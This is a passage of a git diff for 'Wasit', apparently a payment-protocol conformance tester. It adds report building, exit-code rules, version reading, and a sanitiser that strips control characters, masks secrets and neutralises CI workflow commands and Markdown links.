${sanitizeText(describeOrigin(next))}, which is not the origin ` + + `${sanitizeText(from.origin)} this run was pointed at. Wasit did not follow it. ` + + `Point the run at the URL the redirect leads to, if that is the service you operate.`, + ); + } + + const second = await fetchOnce(next.href, redirectedInit(init, first.status)); + const again = redirectLocation(second, next); + if (again === undefined) return second; + await discard(second); + throw new RedirectRefusedError( + again.origin === from.origin + ? `The route answers with more than one redirect (${first.status}, then ${second.status}). ` + + `Wasit follows one redirect inside the origin and did not follow the second.` + : `The route redirects to ${sanitizeText(describeOrigin(again))} after one redirect inside ` + + `${sanitizeText(from.origin)}. Wasit did not follow it.`, + ); +} + export async function fetchTarget( target: string, init?: Parameters[1], + options?: FetchTargetOptions, ): Promise>> { assertHttpUrl(target); + if (options?.redirects === "same-origin") return fetchSameOrigin(target, init); + try { return await baseFetch()(target, init); } catch (error) { diff --git a/packages/core/src/index.ts b/packages/core/src/index.ts index 7ac8900..51215c0 100644 --- a/packages/core/src/index.ts +++ b/packages/core/src/index.ts @@ -1,7 +1,9 @@ export { + SKIP_KINDS, checkStatus, errored, fixFor, + quoteValue, skipped, skippedDestructive, summarize, @@ -12,10 +14,110 @@ export type { CheckStatus, FailureGuidance, RunSummary, + SkipKind, StructuredCheckResult, StructuredRun, } from "./check.js"; +// The one sanitiser: everything printed or written into a report passes through it. +export { MARKDOWN_VALUE_MAX, sanitizeForMarkdown, sanitizeText } from "./sanitize.js"; +export type { MarkdownOptions, SanitizeOptions } from "./sanitize.js"; + +// wasit.config.json, version 1. +export { + CONFIG_VERSION, + ConfigError, + describeRun, + headerEnvName, + headersFromEnv, + isLoopbackUrl, + joinTarget, + parseConfig, + readConfigFile, + resolveRun, + urlOrigin, + validateConfig, +} from "./config.js"; +export type { + ChannelExpectation, + ConfigIssue, + EndpointConfig, + EnvironmentConfig, + JsonValue, + PinConfig, + ReadyConfig, + RejectConfig, + ResolvedEndpoint, + ResolvedReject, + ResolvedRun, + RunSelection, + ServiceConfig, + WasitConfig, +} from "./config.js"; + +// The run report, the endpoint outcome and the versions a result names. +export { + buildEndpointReport, + buildRunReport, + checkGroup, + describeTotals, + endpointOutcome, + paymentGroupUnsupported, + exitCodeForEndpoint, + groupCounts, + redactReport, + redactValue, + reportTotals, + skippedPaymentChecks, + toGradedRun, +} from "./report.js"; +export type { + CheckGroup, + EndpointInput, + EndpointOutcome, + EndpointReport, + GroupCounts, + RunReport, + RunReportInput, + RunTotals, +} from "./report.js"; +export { readPackageVersion, readToolVersions } from "./versions.js"; +export type { ToolVersions } from "./versions.js"; + +// The baseline of the default branch, the diff against it, and the exit rule of a run. +export { + HISTORY_LIMIT, + MAX_BASELINE_BYTES, + ReportFormatError, + baselineProblem, + diffReports, + findRegressions, + parseRunReport, + readBaseline, + recentFailures, + selectBaseline, + serializeBaseline, + updateHistory, +} from "./baseline.js"; +export type { + Baseline, + BaselineResult, + Change, + ChangeKind, + History, + RecentFailure, + Regression, +} from "./baseline.js"; +export { runExitCode } from "./verdict.js"; +export type { RunVerdict } from "./verdict.js"; + +// The pull request comment and the job summary. +export { COMMENT_MARKER, renderComment, renderNoReportComment, renderNoReportSummary, renderSummary } from "./ci-report.js"; +export type { CiReportInput } from "./ci-report.js"; + +// Variables kept away from a service Wasit starts, and values kept out of output. +export { DENIED_ENV_NAMES, deniedEnvValues, isDeniedEnvName, scrubEnv } from "./denied-env.js"; + export { CHECK_CATALOGUE, PROTOCOL_IDS, catalogueEntry, docsUrlFor } from "./catalogue.js"; export type { CheckCatalogueEntry, ProtocolId } from "./catalogue.js"; diff --git a/packages/core/src/report.ts b/packages/core/src/report.ts new file mode 100644 index 0000000..f7ca8d1 --- /dev/null +++ b/packages/core/src/report.ts @@ -0,0 +1,371 @@ +/** + * The run report: what `wasit run` produces for the CLI's `--json`, the Action + * and the pull request comment, one shape (spec A2). + * + * The central rule is the endpoint outcome. An endpoint counts as graded only + * when it is `conformant` or `non-conformant` (spec A8 #3, D-021). A service + * Wasit cannot grade is `unsupported`; one that gave no verdict is + * `no-verdict`. Neither is a FAIL, and neither is a pass: the totals say how + * many endpoints were graded, so a run where nothing was cannot be read as + * green. + */ + +import { catalogueEntry, type ProtocolId } from "./catalogue.js"; +import { + checkStatus, + skipped, + summarize, + toStructuredRun, + type CheckResult, + type CheckStatus, + type SkipKind, + type StructuredCheckResult, + type StructuredRun, +} from "./check.js"; +import { networkClass, type NetworkClass } from "./guard/networks.js"; +import { sanitizeText } from "./sanitize.js"; +import type { ToolVersions } from "./versions.js"; + +export type EndpointOutcome = "conformant" | "non-conformant" | "no-verdict" | "unsupported"; + +/** The groups of checks a report counts: the read-only challenge checks, the payment checks, and the two MPP modes. */ +export type CheckGroup = "challenge" | "payment" | "mppCharge" | "mppChannel"; + +export interface GroupCounts { + readonly passed: number; + readonly failed: number; + readonly errored: number; + readonly skipped: number; +} + +/** The group whose result decides whether an endpoint can be graded at all. */ +const GATING_GROUP: Readonly> = { + x402: "challenge", + "mpp-charge": "mppCharge", + "mpp-channel": "mppChannel", +}; + +/** + * The group of a check id. X402-01..05 read the challenge, X402-06..10 pay; + * the MPP checks follow their mode. An id with no catalogue entry (PREFLIGHT) + * belongs to the group of the endpoint it was raised for. + */ +export function checkGroup(id: string, protocol: ProtocolId): CheckGroup { + const entry = catalogueEntry(id); + if (entry === undefined) return GATING_GROUP[protocol]; + if (entry.protocol === "x402") return Number(id.slice("X402-".length)) <= 5 ? "challenge" : "payment"; + return GATING_GROUP[entry.protocol]; +} + +/** + * True when an x402 payment check (X402-06..10) was skipped as `unsupported`: + * the run asked to pay and Wasit cannot pay on that network. A read-only or + * no-payer skip is not this, and neither is a result of another protocol. An MPP + * endpoint has no group besides its gating one, so for it this is always false. + * Works on the results of a fresh run and on the structured results of a report. + */ +export function paymentGroupUnsupported( + results: ReadonlyArray<{ readonly id: string; readonly skipKind?: SkipKind }>, + protocol: ProtocolId, +): boolean { + return protocol === "x402" && results.some((result) => result.skipKind === "unsupported" && checkGroup(result.id, protocol) === "payment"); +} + +/** + * The outcome of one endpoint from its results. + * + * - any FAIL: `non-conformant`. A real finding outranks a missing one. + * - else an `unsupported` skip in the endpoint's gating group (the challenge + * checks for x402): `unsupported`. X402-01 may have passed on an x402 v1 + * service; one passing check does not grade a paywall Wasit cannot read. An + * `unsupported` payment group alone does not make the endpoint unsupported: + * the challenge was graded. + * - else an `unsupported` skip in the payment group (payment checks were asked + * for and none could be graded on this network): `no-verdict`, so it is not + * green (Najmi, 2026-11-15). + * - else any ERROR: `no-verdict`. + * - else at least one PASS: `conformant`. + * - else (nothing ran, or everything was skipped): `no-verdict`. + */ +export function endpointOutcome(results: readonly CheckResult[], protocol: ProtocolId): EndpointOutcome { + const gating = GATING_GROUP[protocol]; + let passed = 0; + let errored = 0; + let unsupported = false; + for (const result of results) { + const status = checkStatus(result); + if (status === "FAIL") return "non-conformant"; + if (status === "PASS") passed += 1; + else if (status === "ERROR") errored += 1; + else if (result.skipKind === "unsupported" && checkGroup(result.id, protocol) === gating) unsupported = true; + } + if (unsupported) return "unsupported"; + // Payment checks were asked for and none could be graded here (a typo in the network, a chain + // with no adapter): the challenge was graded, but the run did not do what it was asked. + // Najmi, 2026-11-15: not green, exit 2, like 0.7.0. + if (paymentGroupUnsupported(results, protocol)) return "no-verdict"; + if (errored > 0) return "no-verdict"; + return passed > 0 ? "conformant" : "no-verdict"; +} + +/** The key a protocol's payment group needs, for the words of a skip reason. */ +const KEY_LABEL: Readonly> = { + x402: "a payer key", + "mpp-charge": "a payer key", + "mpp-channel": "a commitment key", +}; + +/** The checks of a protocol that pay or sign. MPP-13 closes a channel for good and is never listed. */ +const PAYMENT_CHECK_IDS: Readonly> = { + x402: ["X402-06", "X402-07", "X402-08", "X402-09", "X402-10"], + "mpp-charge": ["MPP-01"], + "mpp-channel": ["MPP-10", "MPP-11", "MPP-12", "MPP-14"], +}; + +/** + * The checks of an endpoint that pay or sign, as SKIPs the report can count and + * name (spec A2: the report says which checks need a payer). + * + * `read-only`: the run was asked not to pay. `needs-payer`: the run could have + * paid and had no key. The names come from the catalogue, so a rename there is + * the only place to change. + */ +export function skippedPaymentChecks(protocol: ProtocolId, kind: "read-only" | "needs-payer"): CheckResult[] { + const key = KEY_LABEL[protocol]; + const reason = + kind === "read-only" + ? `the read-only tier makes no payment and signs nothing; this check needs ${key} and the payment tier` + : `this check pays or signs and no ${key.replace(/^a /, "")} was given`; + return PAYMENT_CHECK_IDS[protocol].map((id) => skipped(id, catalogueEntry(id)?.name ?? id, reason, kind)); +} + +/** + * The exit code of one endpoint's checks (spec A8 #3, D-021): 1 on any FAIL; 2 + * when the endpoint was not graded (`unsupported` or `no-verdict`) or a check + * could not run; else 0. Used where there is one endpoint, `wasit test` and the + * MCP x402 tool; a run of several endpoints uses {@link runExitCode}. + */ +export function exitCodeForEndpoint(results: readonly CheckResult[], protocol: ProtocolId): 0 | 1 | 2 { + const base = summarize([...results]).exitCode; + if (base !== 0) return base; + const outcome = endpointOutcome(results, protocol); + return outcome === "unsupported" || outcome === "no-verdict" ? 2 : 0; +} + +/** + * `toStructuredRun` with the outcome the exit rule gives: a service that was + * never graded is `no-verdict`, never `conformant`, for the MCP agent as for the + * shell. The counts are the same. + */ +export function toGradedRun(results: readonly CheckResult[], protocol: ProtocolId): StructuredRun { + const run = toStructuredRun([...results]); + const code = exitCodeForEndpoint(results, protocol); + const outcome = code === 0 ? "conformant" : code === 1 ? "non-conformant" : "no-verdict"; + return { ...run, outcome }; +} + +export interface EndpointReport { + readonly name: string; + readonly protocol: ProtocolId; + readonly method: string; + readonly path: string; + readonly outcome: EndpointOutcome; + /** Why the endpoint is `unsupported` or has `no-verdict`; absent otherwise. */ + readonly reason?: string; + /** Counts for each group that has at least one result; a group with no checks is absent. */ + readonly groups: Readonly>>; + readonly results: readonly StructuredCheckResult[]; +} + +export interface EndpointInput { + readonly name: string; + readonly protocol: ProtocolId; + readonly method: string; + readonly path: string; + readonly results: readonly CheckResult[]; +} + +function reasonFor(results: readonly CheckResult[], protocol: ProtocolId, outcome: EndpointOutcome): string | undefined { + if (outcome === "unsupported") { + const skip = results.find( + (result) => result.skipKind === "unsupported" && checkGroup(result.id, protocol) === GATING_GROUP[protocol], + ); + return skip?.skipReason === undefined ? undefined : sanitizeText(skip.skipReason); + } + if (outcome === "no-verdict") { + const error = results.find((result) => checkStatus(result) === "ERROR"); + if (error !== undefined) return sanitizeText(error.error?.message ?? "a check could not run"); + const unsupportedPayment = results.find( + (result) => result.skipKind === "unsupported" && paymentGroupUnsupported([result], protocol), + ); + if (unsupportedPayment?.skipReason !== undefined) return sanitizeText(unsupportedPayment.skipReason); + // Skipped only because the run was asked not to pay: say so, not "nothing ran". + const readOnly = results.find((result) => result.skipKind === "read-only"); + if (readOnly?.skipReason !== undefined) return sanitizeText(readOnly.skipReason); + return "no check passed: every check was skipped or none ran"; + } + return undefined; +} + +/** + * Counts per group from any list of results that have an id and a status: the + * CheckResults of a fresh run, or the structured results of a report read back. + */ +export function groupCounts( + results: ReadonlyArray<{ readonly id: string; readonly status: CheckStatus }>, + protocol: ProtocolId, +): Partial> { + const counts = new Map(); + for (const result of results) { + const group = checkGroup(result.id, protocol); + const entry = counts.get(group) ?? { passed: 0, failed: 0, errored: 0, skipped: 0 }; + if (result.status === "PASS") entry.passed += 1; + else if (result.status === "FAIL") entry.failed += 1; + else if (result.status === "ERROR") entry.errored += 1; + else entry.skipped += 1; + counts.set(group, entry); + } + return Object.fromEntries(counts); +} + +/** Builds the report of one endpoint. Every text in it has passed through the sanitiser. */ +export function buildEndpointReport(input: EndpointInput): EndpointReport { + const outcome = endpointOutcome(input.results, input.protocol); + const reason = reasonFor(input.results, input.protocol, outcome); + + return { + name: sanitizeText(input.name), + protocol: input.protocol, + method: sanitizeText(input.method), + path: sanitizeText(input.path), + outcome, + ...(reason === undefined ? {} : { reason }), + groups: groupCounts( + input.results.map((result) => ({ id: result.id, status: checkStatus(result) })), + input.protocol, + ), + results: toStructuredRun([...input.results]).results, + }; +} + +export interface RunTotals { + readonly endpoints: number; + /** Endpoints that are `conformant` or `non-conformant`: the ones that were tested. */ + readonly graded: number; + readonly conformant: number; + readonly nonConformant: number; + readonly noVerdict: number; + readonly unsupported: number; +} + +export function reportTotals(endpoints: readonly EndpointReport[]): RunTotals { + const count = (outcome: EndpointOutcome): number => endpoints.filter((endpoint) => endpoint.outcome === outcome).length; + const conformant = count("conformant"); + const nonConformant = count("non-conformant"); + return { + endpoints: endpoints.length, + graded: conformant + nonConformant, + conformant, + nonConformant, + noVerdict: count("no-verdict"), + unsupported: count("unsupported"), + }; +} + +/** + * The summary line: "0 graded, 1 unsupported". Says how many endpoints were + * graded first, so a run in which nothing was cannot be read as a pass. + */ +export function describeTotals(totals: RunTotals): string { + return [ + `${totals.graded} graded${totals.nonConformant > 0 ? ` (${totals.nonConformant} non-conformant)` : ""}`, + ...(totals.unsupported > 0 ? [`${totals.unsupported} unsupported`] : []), + ...(totals.noVerdict > 0 ? [`${totals.noVerdict} no verdict`] : []), + ].join(", "); +} + +export interface RunReport { + readonly schema: 1; + readonly wasit: ToolVersions["wasit"]; + readonly sdk: ToolVersions["sdk"]; + readonly environment: string; + readonly network: string; + readonly networkClass: NetworkClass; + /** ISO 8601, supplied by the caller. */ + readonly startedAt: string; + readonly endpoints: readonly EndpointReport[]; + readonly totals: RunTotals; + readonly notes: readonly string[]; +} + +export interface RunReportInput { + readonly environment: string; + readonly network: string; + readonly startedAt: string; + readonly versions: ToolVersions; + readonly endpoints: readonly EndpointReport[]; + readonly notes?: readonly string[]; +} + +/** Builds the run report. Pure: the clock and the installed versions are inputs. */ +export function buildRunReport(input: RunReportInput): RunReport { + return { + schema: 1, + wasit: input.versions.wasit, + sdk: input.versions.sdk, + environment: sanitizeText(input.environment), + network: sanitizeText(input.network), + networkClass: networkClass(input.network), + startedAt: input.startedAt, + endpoints: input.endpoints, + totals: reportTotals(input.endpoints), + notes: (input.notes ?? []).map((note) => sanitizeText(note)), + }; +} + +/** The keys whose value is a short quote of what the service sent. */ +const SHORT_VALUE_KEYS: ReadonlySet = new Set(["expected", "actual"]); + +/** The longest `expected` or `actual` in an output. */ +const SHORT_VALUE_MAX = 200; + +function clipValue(text: string): string { + const characters = Array.from(text); + return characters.length <= SHORT_VALUE_MAX ? text : `${characters.slice(0, SHORT_VALUE_MAX - 1).join("")}…`; +} + +/** + * Applies `change` to every string in a JSON-shaped value; numbers, booleans and + * null stay. The string under an `expected` or `actual` key is changed first and + * cut to {@link SHORT_VALUE_MAX} after: a cut made before the secrets are removed + * could leave the start of one in the output. + */ +function mapStrings(value: T, change: (text: string) => string): T { + if (typeof value === "string") return change(value) as T; + if (Array.isArray(value)) return value.map((item) => mapStrings(item, change)) as T; + if (typeof value === "object" && value !== null) { + return Object.fromEntries( + Object.entries(value).map(([key, item]) => [ + key, + typeof item === "string" && SHORT_VALUE_KEYS.has(key) ? clipValue(change(item)) : mapStrings(item, change), + ]), + ) as T; + } + return value; +} + +/** + * A copy of a JSON-shaped value with `secrets` removed from every string in it + * (and control characters, `::` lines and Stellar keys dealt with, as + * everywhere), and every `expected` and `actual` cut to a short length. The + * report is built from text a service sent, and a service can echo a header it + * was sent; this is the last pass before it is printed or written. + */ +export function redactValue(value: T, secrets: readonly string[]): T { + return mapStrings(value, (text) => sanitizeText(text, { redact: secrets })); +} + +/** {@link redactValue} for a run report. */ +export function redactReport(report: RunReport, secrets: readonly string[]): RunReport { + return redactValue(report, secrets); +} diff --git a/packages/core/src/sanitize.ts b/packages/core/src/sanitize.ts new file mode 100644 index 0000000..fc53c91 --- /dev/null +++ b/packages/core/src/sanitize.ts @@ -0,0 +1,136 @@ +/** + * The one sanitiser. Everything Wasit prints, writes into a report, or puts in + * a pull request comment or job summary passes through here when it can carry + * text a service chose. + * + * A service answers with whatever it likes, and a pull request can change what + * that is. Two sinks are dangerous: + * + * - a terminal or a CI job log: control characters move the cursor or hide + * text, and a line that starts with `::` is a workflow command to the + * GitHub runner (set an output, add a mask, stop all commands); + * - a Markdown comment: HTML, links, mentions and table syntax change what the + * reader sees and who gets notified. + * + * `sanitizeText` is the plain level for the first, `sanitizeForMarkdown` adds + * the second. Neither is a security boundary on its own against a renderer + * Wasit does not control; they make the common attacks inert and are tested + * against the CommonMark rules, not against GitHub's renderer. + */ + +/** The longest a service-supplied value may be in a comment or summary. */ +export const MARKDOWN_VALUE_MAX = 300; + +/** What replaces a secret, or a value that looks like one. */ +const REDACTED = "[redacted]"; + +/** A redact entry shorter than this would blank ordinary words, and is not a secret. */ +const MIN_REDACT_LENGTH = 4; + +/** + * C0 controls except tab (U+0009) and newline (U+000A), DEL, C1 controls, and + * the bidirectional overrides that make text read in another order than it is + * stored. A carriage return is stripped too: .NET readers, the GitHub runner + * among them, split lines on it, so it could start a line of its own. + */ +const CONTROL_CHARACTERS = /[\u0000-\u0008\u000b-\u001f\u007f-\u009f‪-‮⁦-⁩]/g; + +/** The shape of a Stellar secret key. Public keys, contract ids and hashes do not match. */ +const STELLAR_SECRET = /S[A-Z2-7]{55}/g; + +/** + * A line the GitHub runner reads as a command: `::name::`, or the older + * `##[name]`. The runner trims leading whitespace first, and .NET counts more + * characters as whitespace than a space and a tab, so any whitespace but the + * line break is allowed before it. + */ +const LINE_START_COMMAND = /^([^\S\n]*)(::|##\[)/gm; + +export interface SanitizeOptions { + /** + * Values that must never appear in the output, such as the value of a + * `WASIT_HEADER_*` variable or a payer key. Matched as literals, after + * control characters are stripped, so a control character cannot hide one. + */ + readonly redact?: readonly string[]; +} + +export interface MarkdownOptions extends SanitizeOptions { + /** Longest value, in characters, ellipsis included. Default {@link MARKDOWN_VALUE_MAX}. */ + readonly maxLength?: number; +} + +/** + * Plain level, for the terminal, the job log and report text. + * + * Strips control characters (keeping newline and tab), masks secrets, and + * breaks a `::` or `##[` at the start of a line by putting a space inside it. + * Idempotent. Newlines stay: this level does not reflow text. + */ +export function sanitizeText(input: string, options: SanitizeOptions = {}): string { + let text = String(input).replace(CONTROL_CHARACTERS, ""); + + const secrets = [...(options.redact ?? [])] + .filter((secret) => secret.length >= MIN_REDACT_LENGTH) + .sort((a, b) => b.length - a.length); + for (const secret of secrets) text = text.split(secret).join(REDACTED); + + return text + .replace(STELLAR_SECRET, REDACTED) + .replace(LINE_START_COMMAND, (_match, space: string, command: string) => + space + (command === "::" ? ": :" : "# #["), + ); +} + +/** A link a Markdown renderer would make clickable: a scheme with an authority, `www.`, mailto and xmpp. */ +const LINK = /\b[a-z][a-z0-9+.-]*:\/\/\S*|\b(?:www\.|mailto:|xmpp:)\S*/gi; + +/** `#123` and `owner/repo#123`: GitHub turns both into links, the second one on another repository. */ +const ISSUE_REFERENCE = /(?:[\w.-]+\/[\w.-]+)?#\d+/g; + +/** An `@` that GitHub would read as the start of a mention. */ +const MENTION = /@(?=[A-Za-z0-9_])/g; + +const LINK_REMOVED = "[link removed]"; + +/** Cuts to `max` characters, counting code points, with an ellipsis in the last place. */ +function truncate(text: string, max: number): string { + const characters = Array.from(text); + if (characters.length <= max) return text; + return `${characters.slice(0, Math.max(0, max - 1)).join("")}…`; +} + +/** + * Backslash-escapes what could still format text inside a cell or a line, and + * HTML-escapes the rest. Newlines are already gone, so only the start of the + * string can open a heading, a list or a block quote. + */ +function escapeMarkdown(text: string): string { + return text + .replace(/[\\`*_~[\]()|]/g, "\\$&") + .replace(/^([-+=#])/, "\\$1") + .replace(/^(\d+)\./, "$1\\.") + .replace(/&/g, "&") + .replace(//g, ">"); +} + +/** + * Markdown level, for a value placed in a pull request comment or job summary. + * + * Returns one line: the plain level first, then whitespace (newlines too) + * collapsed so the value cannot open a heading, list or table row; links, + * issue references and mentions removed; the value cut to `maxLength` + * characters (300 by default); then Markdown and HTML escaped. The cut comes + * before the escaping, so an escape or an entity is never split. Not + * idempotent: apply it once, to text that has only had the plain level. + */ +export function sanitizeForMarkdown(input: string, options: MarkdownOptions = {}): string { + const max = Math.max(1, Math.floor(options.maxLength ?? MARKDOWN_VALUE_MAX)); + const plain = sanitizeText(input, options).replace(/\s+/g, " ").trim(); + const stripped = plain + .replace(LINK, LINK_REMOVED) + .replace(ISSUE_REFERENCE, LINK_REMOVED) + .replace(MENTION, "[at]"); + return escapeMarkdown(truncate(stripped, max)); +} diff --git a/packages/core/src/verdict.ts b/packages/core/src/verdict.ts new file mode 100644 index 0000000..dde5641 --- /dev/null +++ b/packages/core/src/verdict.ts @@ -0,0 +1,61 @@ +/** + * The exit code of a run of several endpoints (spec A2 with A8 #3, D-021). + * + * - 1: an endpoint is non-conformant, or an endpoint that was graded on the + * default branch is not graded now (the baseline says so). A service that + * drops below the standard of its chain must not be green. + * - 2: no verdict. Nothing could be graded, a check could not run, or payment + * checks were asked for and none could be graded on an endpoint's network. A + * service that was never graded is here: not green, and not labelled FAIL. + * - 0: at least one endpoint was graded, none failed, no check errored. + * + * The reason carries the counts ("0 graded, 1 unsupported"), so a green run + * cannot be read as a pass of something that was not graded. + */ + +import { findRegressions, type Regression } from "./baseline.js"; +import { describeTotals, paymentGroupUnsupported, type RunReport } from "./report.js"; + +export interface RunVerdict { + readonly code: 0 | 1 | 2; + /** One line, for the terminal, the job summary and the report notes. */ + readonly reason: string; + /** Endpoints that were graded on the baseline and are not now. Empty without a baseline. */ + readonly regressions: readonly Regression[]; +} + +export function runExitCode(report: RunReport, baseline?: RunReport): RunVerdict { + const regressions = baseline === undefined ? [] : findRegressions(report, baseline); + const counts = describeTotals(report.totals); + const errored = report.endpoints.reduce( + (total, endpoint) => total + endpoint.results.filter((result) => result.status === "ERROR").length, + 0, + ); + + if (report.totals.nonConformant > 0) { + const n = report.totals.nonConformant; + return { code: 1, reason: `${n} endpoint${n === 1 ? " is" : "s are"} non-conformant (${counts})`, regressions }; + } + if (regressions.length > 0) { + const list = regressions.map((item) => `${item.endpoint} (${item.was} on main, now ${item.now})`).join(", "); + return { code: 1, reason: `regression against main: ${list} (${counts})`, regressions }; + } + if (report.totals.graded === 0) { + return { code: 2, reason: `nothing could be graded: ${counts}`, regressions }; + } + if (errored > 0) { + return { code: 2, reason: `${errored} check${errored === 1 ? "" : "s"} could not run (${counts})`, regressions }; + } + // Payment checks were asked for and none could be graded on an endpoint's network (Najmi, 2026-11-15). + const unsupportedPayment = report.endpoints.filter((endpoint) => paymentGroupUnsupported(endpoint.results, endpoint.protocol)).length; + if (unsupportedPayment > 0) { + return { + code: 2, + reason: + `payment checks were asked for and could not be graded on ${unsupportedPayment} ` + + `endpoint${unsupportedPayment === 1 ? "" : "s"} (${counts})`, + regressions, + }; + } + return { code: 0, reason: counts, regressions }; +} diff --git a/packages/core/src/versions.ts b/packages/core/src/versions.ts new file mode 100644 index 0000000..3a3c2a8 --- /dev/null +++ b/packages/core/src/versions.ts @@ -0,0 +1,117 @@ +/** + * The versions a result names: Wasit core and the CLI, the x402 version Wasit + * grades, and the SDK packages the checks run through. + * + * Read at run time from the installed packages' own `package.json`, by path, + * never typed by hand: a constant drifts from what is installed, and the point + * of printing a version is that it is the one that ran. They are read by path + * and not through `require.resolve("/package.json")` because the SDK + * packages' export maps do not list it (checked on 2026-11-15 for all five: + * ERR_PACKAGE_PATH_NOT_EXPORTED). + */ + +import { readFileSync } from "node:fs"; +import { dirname, join, resolve } from "node:path"; +import { fileURLToPath } from "node:url"; + +/** What is printed when a version cannot be established. Never a guess. */ +const UNKNOWN = "unknown"; + +/** A version as npm publishes it. Anything else is not printed: these strings reach a pull request comment. */ +const VERSION = /^\d+\.\d+\.\d+(?:[-+][0-9A-Za-z.+-]*)?$/; + +/** An npm package name, scoped or not: no path segment can climb out of node_modules. */ +const PACKAGE_NAME = /^(?:@[a-z0-9][a-z0-9._~-]*\/)?[a-z0-9][a-z0-9._~-]*$/; + +function versionIn(manifestPath: string, expectedName: string): string | undefined { + try { + const manifest = JSON.parse(readFileSync(manifestPath, "utf-8")) as { name?: unknown; version?: unknown }; + return manifest.name === expectedName && typeof manifest.version === "string" && VERSION.test(manifest.version) + ? manifest.version + : undefined; + } catch { + return undefined; + } +} + +/** + * The installed version of `name`, found the way Node finds a dependency: in + * `node_modules` of `from` or of any directory above it. + * + * Returns "unknown" when the package is not there, its name does not match, or + * its version is not a version. + */ +export function readPackageVersion(name: string, from: string): string { + if (!PACKAGE_NAME.test(name)) return UNKNOWN; + let directory = resolve(from); + for (;;) { + const version = versionIn(join(directory, "node_modules", name, "package.json"), name); + if (version !== undefined) return version; + const parent = dirname(directory); + if (parent === directory) return UNKNOWN; + directory = parent; + } +} + +/** This package's own version: the `package.json` above this file, in `src/` and in `dist/` alike. */ +function ownVersion(): string { + let directory = dirname(fileURLToPath(import.meta.url)); + for (;;) { + const version = versionIn(join(directory, "package.json"), "@wasit-dev/core"); + if (version !== undefined) return version; + const parent = dirname(directory); + if (parent === directory) return UNKNOWN; + directory = parent; + } +} + +export interface ToolVersions { + readonly wasit: { readonly cli: string; readonly core: string }; + readonly sdk: { + /** The x402 version Wasit grades. */ + readonly x402Version: 2; + readonly "@x402/core": string; + readonly "@x402/stellar": string; + readonly "@stellar/mpp": string; + readonly mppx: string; + readonly "@stellar/stellar-sdk": string; + }; +} + +/** + * The versions of this run. The CLI knows its own version (core cannot read the + * CLI's `package.json`), so it passes it in. + */ +export function readToolVersions(cliVersion?: string): ToolVersions { + const here = dirname(fileURLToPath(import.meta.url)); + // `@x402/core` is a dependency of `@x402/fetch`; when npm does not hoist it, it sits under that package. + const fetchDir = (() => { + for (let directory = here; ; directory = dirname(directory)) { + const candidate = join(directory, "node_modules", "@x402", "fetch"); + if (versionIn(join(candidate, "package.json"), "@x402/fetch") !== undefined) return candidate; + if (dirname(directory) === directory) return undefined; + } + })(); + const read = (name: string): string => { + for (const start of fetchDir === undefined ? [here] : [here, fetchDir]) { + const version = readPackageVersion(name, start); + if (version !== UNKNOWN) return version; + } + return UNKNOWN; + }; + + return { + wasit: { + cli: cliVersion !== undefined && VERSION.test(cliVersion) ? cliVersion : UNKNOWN, + core: ownVersion(), + }, + sdk: { + x402Version: 2, + "@x402/core": read("@x402/core"), + "@x402/stellar": read("@x402/stellar"), + "@stellar/mpp": read("@stellar/mpp"), + mppx: read("mppx"), + "@stellar/stellar-sdk": read("@stellar/stellar-sdk"), + }, + }; +} diff --git a/packages/core/src/x402/requirements.ts b/packages/core/src/x402/requirements.ts index 44f16cb..b986e19 100644 --- a/packages/core/src/x402/requirements.ts +++ b/packages/core/src/x402/requirements.ts @@ -8,7 +8,7 @@ * may offer several options on several chains at once. */ -import { skipped, type CheckResult } from "../check.js"; +import { quoteValue, skipped, type CheckResult } from "../check.js"; function asRecord(value: unknown): Record | undefined { return typeof value === "object" && value !== null @@ -95,8 +95,12 @@ interface OptionProblem { readonly detail: string; readonly fixes: readonly string[]; readonly missing: boolean; + /** What the option should carry and what it carried, in a few words each. */ + readonly expected: string; + readonly actual: string; } + function describeValue(value: unknown): string { return typeof value === "object" ? "an object" : `${typeof value} ${JSON.stringify(value)}`; } @@ -124,11 +128,16 @@ function fieldProblem( `service speaks that version.`, ], missing: false, + expected: `the field \`${expected}\` (v${version})`, + actual: `the field \`${wrongVersionField}\` (v${version === 2 ? 1 : 2})`, }; } const missing: string[] = []; const wrongType: string[] = []; + // The same findings as short expected and actual values, in the same order. + const wrongExpected: string[] = []; + const wrongActual: string[] = []; for (const field of REQUIRED_FIELDS[version]) { const value = accept?.[field]; if (value === undefined || value === null || value === "") { @@ -139,9 +148,13 @@ function fieldProblem( wrongType.push( `maxTimeoutSeconds must be a positive number of seconds (got ${describeValue(value)})`, ); + wrongExpected.push("maxTimeoutSeconds as a positive number"); + wrongActual.push(`maxTimeoutSeconds is ${describeValue(value)}`); } } else if (typeof value !== "string") { wrongType.push(`${field} must be a string (got ${describeValue(value)})`); + wrongExpected.push(`${field} as a string`); + wrongActual.push(`${field} is ${describeValue(value)}`); } } @@ -162,7 +175,13 @@ function fieldProblem( ] : []), ]; - return { detail, fixes, missing: missing.length > 0 }; + return { + detail, + fixes, + missing: missing.length > 0, + expected: [...(missing.length > 0 ? [`${missing.join(", ")} present`] : []), ...wrongExpected].join("; "), + actual: [...(missing.length > 0 ? [`${missing.join(", ")} missing`] : []), ...wrongActual].join("; "), + }; } /** X402-04: every payment option must carry the fields its version requires. */ @@ -181,11 +200,14 @@ export function checkRequiredFields(payload: unknown): CheckResult { `neither 1 nor 2. The payment terms use different field names per ` + `version, so they cannot be checked against an unknown one.`, hint: "Set `x402Version` to 2, the current protocol version, and use its field names.", + expected: "x402Version 2", + actual: version === undefined ? "no x402Version" : `x402Version ${quoteValue(version)}`, }; } const accepts = acceptsOf(payload); if (accepts === undefined || accepts.length === 0) { + const raw = asRecord(payload)?.["accepts"]; return { id, name, @@ -196,6 +218,8 @@ export function checkRequiredFields(payload: unknown): CheckResult { hint: "List at least one payment option in `accepts`, each with " + `${REQUIRED_FIELDS[version].join(", ")}.`, + expected: "at least one entry in accepts", + actual: raw === undefined ? "accepts is missing" : Array.isArray(raw) ? "accepts is empty" : "accepts is not a list", }; } @@ -204,7 +228,12 @@ export function checkRequiredFields(payload: unknown): CheckResult { const problem = fieldProblem(accept, version); return problem === undefined ? undefined - : { ...problem, detail: optionLabel(index, accepts.length) + problem.detail }; + : { + ...problem, + detail: optionLabel(index, accepts.length) + problem.detail, + expected: optionLabel(index, accepts.length) + problem.expected, + actual: optionLabel(index, accepts.length) + problem.actual, + }; }) .filter((problem): problem is OptionProblem => problem !== undefined); @@ -221,6 +250,8 @@ export function checkRequiredFields(payload: unknown): CheckResult { pass: false, detail: problems.map((problem) => problem.detail).join(" "), hint: fixes.join(" "), + expected: 